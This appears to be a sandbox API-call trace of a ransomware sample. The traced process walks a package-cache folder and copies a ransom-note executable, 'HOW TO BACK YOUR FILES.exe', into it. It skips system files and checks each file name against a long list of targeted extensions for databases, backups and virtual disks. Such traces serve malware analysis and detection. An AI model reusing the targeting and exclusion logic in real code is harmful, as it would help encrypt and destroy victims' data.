	[0038.783] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.783] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.783] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.783] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.783] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.783] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f38b250, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0038.783] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0038.783] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0038.783] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.783] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="Apollon865.txt.exe") returned 1
	[0038.783] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2=".") returned 1
	[0038.783] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="..") returned 1
	[0038.783] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="windows") returned -1
	[0038.783] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="bootmgr") returned 1
	[0038.783] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="temp") returned 1
	[0038.783] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="pagefile.sys") returned 1
	[0038.783] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="boot") returned 1
	[0038.783] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="ids.txt") returned 1
	[0038.783] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="ntuser.dat") returned 1
	[0038.783] lstrcpyW (in: lpString1=0x2d3e608, lpString2="vcRuntimeAdditional_x86" | out: lpString1="vcRuntimeAdditional_x86") returned="vcRuntimeAdditional_x86"
	[0038.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0038.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe8) returned 0x5a9588
	[0038.783] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fdb0
	[0038.783] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0038.784] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.784] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdd0
	[0038.784] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86"
	[0038.784] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a9588 | out: hHeap=0x580000) returned 1
	[0038.784] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0038.784] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned 115
	[0038.784] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86"
	[0038.784] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.784] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.789] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.789] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f3b13b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3b13b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.790] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.790] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.790] lstrcpyW (in: lpString1=0x2d3e638, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0038.790] lstrlenW (lpString="cab1.cab") returned 8
	[0038.790] lstrlenW (lpString="Apollon865") returned 10
	[0038.790] lstrlenW (lpString=".dll") returned 4
	[0038.790] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0038.790] lstrlenW (lpString=".lnk") returned 4
	[0038.790] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0038.790] lstrlenW (lpString=".ini") returned 4
	[0038.790] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0038.790] lstrlenW (lpString=".sys") returned 4
	[0038.790] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0038.790] lstrlenW (lpString="cab1.cab") returned 8
	[0038.790] lstrlenW (lpString="bak") returned 3
	[0038.790] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0038.790] lstrlenW (lpString="ba_") returned 3
	[0038.790] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0038.790] lstrlenW (lpString="dbb") returned 3
	[0038.790] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0038.790] lstrlenW (lpString="vmdk") returned 4
	[0038.790] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0038.790] lstrlenW (lpString="rar") returned 3
	[0038.790] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0038.790] lstrlenW (lpString="zip") returned 3
	[0038.790] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0038.790] lstrlenW (lpString="tgz") returned 3
	[0038.790] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0038.790] lstrlenW (lpString="vbox") returned 4
	[0038.790] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0038.791] lstrlenW (lpString="vdi") returned 3
	[0038.791] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0038.791] lstrlenW (lpString="vhd") returned 3
	[0038.791] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0038.791] lstrlenW (lpString="vhdx") returned 4
	[0038.791] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0038.791] lstrlenW (lpString="avhd") returned 4
	[0038.791] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0038.791] lstrlenW (lpString="db") returned 2
	[0038.791] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0038.791] lstrlenW (lpString="db2") returned 3
	[0038.791] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0038.791] lstrlenW (lpString="db3") returned 3
	[0038.791] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0038.791] lstrlenW (lpString="dbf") returned 3
	[0038.791] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0038.791] lstrlenW (lpString="mdf") returned 3
	[0038.791] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0038.791] lstrlenW (lpString="mdb") returned 3
	[0038.791] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0038.791] lstrlenW (lpString="sql") returned 3
	[0038.791] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0038.791] lstrlenW (lpString="sqlite") returned 6
	[0038.791] lstrcmpiW (lpString1="b1.cab", lpString2="sqlite") returned -1
	[0038.791] lstrlenW (lpString="sqlite3") returned 7
	[0038.791] lstrcmpiW (lpString1="ab1.cab", lpString2="sqlite3") returned -1
	[0038.791] lstrlenW (lpString="sqlitedb") returned 8
	[0038.791] lstrlenW (lpString="xml") returned 3
	[0038.791] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0038.791] lstrlenW (lpString="$er") returned 3
	[0038.791] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0038.791] lstrlenW (lpString="4dd") returned 3
	[0038.791] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0038.791] lstrlenW (lpString="4dl") returned 3
	[0038.791] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0038.791] lstrlenW (lpString="^^^") returned 3
	[0038.791] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0038.791] lstrlenW (lpString="abs") returned 3
	[0038.792] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0038.792] lstrlenW (lpString="abx") returned 3
	[0038.792] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0038.792] lstrlenW (lpString="accdb") returned 5
	[0038.792] lstrcmpiW (lpString1="1.cab", lpString2="accdb") returned -1
	[0038.792] lstrlenW (lpString="accdc") returned 5
	[0038.792] lstrcmpiW (lpString1="1.cab", lpString2="accdc") returned -1
	[0038.792] lstrlenW (lpString="accde") returned 5
	[0038.792] lstrcmpiW (lpString1="1.cab", lpString2="accde") returned -1
	[0038.792] lstrlenW (lpString="accdr") returned 5
	[0038.792] lstrcmpiW (lpString1="1.cab", lpString2="accdr") returned -1
	[0038.792] lstrlenW (lpString="accdt") returned 5
	[0038.792] lstrcmpiW (lpString1="1.cab", lpString2="accdt") returned -1
	[0038.792] lstrlenW (lpString="accdw") returned 5
	[0038.792] lstrcmpiW (lpString1="1.cab", lpString2="accdw") returned -1
	[0038.792] lstrlenW (lpString="accft") returned 5
	[0038.792] lstrcmpiW (lpString1="1.cab", lpString2="accft") returned -1
	[0038.792] lstrlenW (lpString="adb") returned 3
	[0038.792] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0038.792] lstrlenW (lpString="adb") returned 3
	[0038.792] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0038.792] lstrlenW (lpString="ade") returned 3
	[0038.792] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0038.792] lstrlenW (lpString="adf") returned 3
	[0038.792] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0038.792] lstrlenW (lpString="adn") returned 3
	[0038.792] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0038.792] lstrlenW (lpString="adp") returned 3
	[0038.792] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0038.792] lstrlenW (lpString="alf") returned 3
	[0038.792] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0038.792] lstrlenW (lpString="ask") returned 3
	[0038.792] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0038.792] lstrlenW (lpString="btr") returned 3
	[0038.792] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0038.792] lstrlenW (lpString="cat") returned 3
	[0038.792] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0038.792] lstrlenW (lpString="cdb") returned 3
	[0038.793] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0038.793] lstrlenW (lpString="ckp") returned 3
	[0038.793] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0038.793] lstrlenW (lpString="cma") returned 3
	[0038.793] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0038.793] lstrlenW (lpString="cpd") returned 3
	[0038.793] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0038.793] lstrlenW (lpString="dacpac") returned 6
	[0038.793] lstrcmpiW (lpString1="b1.cab", lpString2="dacpac") returned -1
	[0038.793] lstrlenW (lpString="dad") returned 3
	[0038.793] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0038.793] lstrlenW (lpString="dadiagrams") returned 10
	[0038.793] lstrlenW (lpString="daschema") returned 8
	[0038.793] lstrlenW (lpString="db-journal") returned 10
	[0038.793] lstrlenW (lpString="db-shm") returned 6
	[0038.793] lstrcmpiW (lpString1="b1.cab", lpString2="db-shm") returned -1
	[0038.793] lstrlenW (lpString="db-wal") returned 6
	[0038.793] lstrcmpiW (lpString1="b1.cab", lpString2="db-wal") returned -1
	[0038.793] lstrlenW (lpString="dbc") returned 3
	[0038.793] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0038.793] lstrlenW (lpString="dbs") returned 3
	[0038.793] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0038.793] lstrlenW (lpString="dbt") returned 3
	[0038.793] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0038.793] lstrlenW (lpString="dbv") returned 3
	[0038.793] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0038.793] lstrlenW (lpString="dbx") returned 3
	[0038.793] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0038.793] lstrlenW (lpString="dcb") returned 3
	[0038.793] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0038.793] lstrlenW (lpString="dct") returned 3
	[0038.793] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0038.793] lstrlenW (lpString="dcx") returned 3
	[0038.793] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0038.793] lstrlenW (lpString="ddl") returned 3
	[0038.793] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0038.793] lstrlenW (lpString="dlis") returned 4
	[0038.793] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0038.794] lstrlenW (lpString="dp1") returned 3
	[0038.794] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0038.794] lstrlenW (lpString="dqy") returned 3
	[0038.794] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0038.794] lstrlenW (lpString="dsk") returned 3
	[0038.794] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0038.794] lstrlenW (lpString="dsn") returned 3
	[0038.794] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0038.794] lstrlenW (lpString="dtsx") returned 4
	[0038.794] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0038.794] lstrlenW (lpString="dxl") returned 3
	[0038.794] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0038.794] lstrlenW (lpString="eco") returned 3
	[0038.794] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0038.794] lstrlenW (lpString="ecx") returned 3
	[0038.794] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0038.794] lstrlenW (lpString="edb") returned 3
	[0038.794] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0038.794] lstrlenW (lpString="epim") returned 4
	[0038.794] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0038.794] lstrlenW (lpString="fcd") returned 3
	[0038.794] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0038.794] lstrlenW (lpString="fdb") returned 3
	[0038.794] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0038.794] lstrlenW (lpString="fic") returned 3
	[0038.794] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0038.794] lstrlenW (lpString="flexolibrary") returned 12
	[0038.794] lstrlenW (lpString="fm5") returned 3
	[0038.794] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0038.794] lstrlenW (lpString="fmp") returned 3
	[0038.794] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0038.794] lstrlenW (lpString="fmp12") returned 5
	[0038.794] lstrcmpiW (lpString1="1.cab", lpString2="fmp12") returned -1
	[0038.794] lstrlenW (lpString="fmpsl") returned 5
	[0038.794] lstrcmpiW (lpString1="1.cab", lpString2="fmpsl") returned -1
	[0038.794] lstrlenW (lpString="fol") returned 3
	[0038.794] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0038.794] lstrlenW (lpString="fp3") returned 3
	[0038.794] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0038.795] lstrlenW (lpString="fp4") returned 3
	[0038.795] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0038.795] lstrlenW (lpString="fp5") returned 3
	[0038.795] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0038.795] lstrlenW (lpString="fp7") returned 3
	[0038.795] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0038.795] lstrlenW (lpString="fpt") returned 3
	[0038.795] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0038.795] lstrlenW (lpString="frm") returned 3
	[0038.795] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0038.795] lstrlenW (lpString="gdb") returned 3
	[0038.795] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0038.795] lstrlenW (lpString="gdb") returned 3
	[0038.795] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0038.795] lstrlenW (lpString="grdb") returned 4
	[0038.795] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0038.795] lstrlenW (lpString="gwi") returned 3
	[0038.795] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0038.795] lstrlenW (lpString="hdb") returned 3
	[0038.795] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0038.795] lstrlenW (lpString="his") returned 3
	[0038.795] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0038.795] lstrlenW (lpString="ib") returned 2
	[0038.795] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0038.795] lstrlenW (lpString="idb") returned 3
	[0038.795] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0038.795] lstrlenW (lpString="ihx") returned 3
	[0038.795] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0038.795] lstrlenW (lpString="itdb") returned 4
	[0038.795] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0038.795] lstrlenW (lpString="itw") returned 3
	[0038.795] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0038.795] lstrlenW (lpString="jet") returned 3
	[0038.795] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0038.795] lstrlenW (lpString="jtx") returned 3
	[0038.795] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0038.795] lstrlenW (lpString="kdb") returned 3
	[0038.795] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0038.795] lstrlenW (lpString="kexi") returned 4
	[0038.796] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0038.796] lstrlenW (lpString="kexic") returned 5
	[0038.796] lstrcmpiW (lpString1="1.cab", lpString2="kexic") returned -1
	[0038.796] lstrlenW (lpString="kexis") returned 5
	[0038.796] lstrcmpiW (lpString1="1.cab", lpString2="kexis") returned -1
	[0038.796] lstrlenW (lpString="lgc") returned 3
	[0038.796] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0038.796] lstrlenW (lpString="lwx") returned 3
	[0038.796] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0038.796] lstrlenW (lpString="maf") returned 3
	[0038.796] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0038.796] lstrlenW (lpString="maq") returned 3
	[0038.796] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0038.796] lstrlenW (lpString="mar") returned 3
	[0038.796] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0038.796] lstrlenW (lpString="marshal") returned 7
	[0038.796] lstrcmpiW (lpString1="ab1.cab", lpString2="marshal") returned -1
	[0038.796] lstrlenW (lpString="mas") returned 3
	[0038.796] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0038.796] lstrlenW (lpString="mav") returned 3
	[0038.796] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0038.796] lstrlenW (lpString="maw") returned 3
	[0038.796] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0038.796] lstrlenW (lpString="mdbhtml") returned 7
	[0038.796] lstrcmpiW (lpString1="ab1.cab", lpString2="mdbhtml") returned -1
	[0038.796] lstrlenW (lpString="mdn") returned 3
	[0038.796] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0038.796] lstrlenW (lpString="mdt") returned 3
	[0038.796] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0038.796] lstrlenW (lpString="mfd") returned 3
	[0038.796] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0038.796] lstrlenW (lpString="mpd") returned 3
	[0038.796] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0038.796] lstrlenW (lpString="mrg") returned 3
	[0038.796] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0038.796] lstrlenW (lpString="mud") returned 3
	[0038.796] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0038.796] lstrlenW (lpString="mwb") returned 3
	[0038.797] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0038.797] lstrlenW (lpString="myd") returned 3
	[0038.797] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0038.797] lstrlenW (lpString="ndf") returned 3
	[0038.797] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0038.797] lstrlenW (lpString="nnt") returned 3
	[0038.797] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0038.797] lstrlenW (lpString="nrmlib") returned 6
	[0038.797] lstrcmpiW (lpString1="b1.cab", lpString2="nrmlib") returned -1
	[0038.797] lstrlenW (lpString="ns2") returned 3
	[0038.797] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0038.797] lstrlenW (lpString="ns3") returned 3
	[0038.797] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0038.797] lstrlenW (lpString="ns4") returned 3
	[0038.797] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0038.797] lstrlenW (lpString="nsf") returned 3
	[0038.797] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0038.797] lstrlenW (lpString="nv") returned 2
	[0038.797] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0038.797] lstrlenW (lpString="nv2") returned 3
	[0038.797] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0038.797] lstrlenW (lpString="nwdb") returned 4
	[0038.797] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0038.797] lstrlenW (lpString="nyf") returned 3
	[0038.797] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0038.797] lstrlenW (lpString="odb") returned 3
	[0038.797] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0038.797] lstrlenW (lpString="odb") returned 3
	[0038.797] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0038.797] lstrlenW (lpString="oqy") returned 3
	[0038.797] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0038.797] lstrlenW (lpString="ora") returned 3
	[0038.797] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0038.797] lstrlenW (lpString="orx") returned 3
	[0038.797] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0038.797] lstrlenW (lpString="owc") returned 3
	[0038.797] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0038.797] lstrlenW (lpString="p96") returned 3
	[0038.798] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0038.798] lstrlenW (lpString="p97") returned 3
	[0038.798] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0038.798] lstrlenW (lpString="pan") returned 3
	[0038.798] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0038.798] lstrlenW (lpString="pdb") returned 3
	[0038.798] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0038.798] lstrlenW (lpString="pdm") returned 3
	[0038.798] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0038.798] lstrlenW (lpString="pnz") returned 3
	[0038.798] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0038.798] lstrlenW (lpString="qry") returned 3
	[0038.798] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0038.798] lstrlenW (lpString="qvd") returned 3
	[0038.798] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0038.798] lstrlenW (lpString="rbf") returned 3
	[0038.798] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0038.799] lstrlenW (lpString="rctd") returned 4
	[0038.799] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0038.799] lstrlenW (lpString="rod") returned 3
	[0038.799] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0038.799] lstrlenW (lpString="rodx") returned 4
	[0038.799] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0038.799] lstrlenW (lpString="rpd") returned 3
	[0038.799] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0038.799] lstrlenW (lpString="rsd") returned 3
	[0038.799] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0038.799] lstrlenW (lpString="sas7bdat") returned 8
	[0038.799] lstrlenW (lpString="sbf") returned 3
	[0038.799] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0038.799] lstrlenW (lpString="scx") returned 3
	[0038.799] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0038.799] lstrlenW (lpString="sdb") returned 3
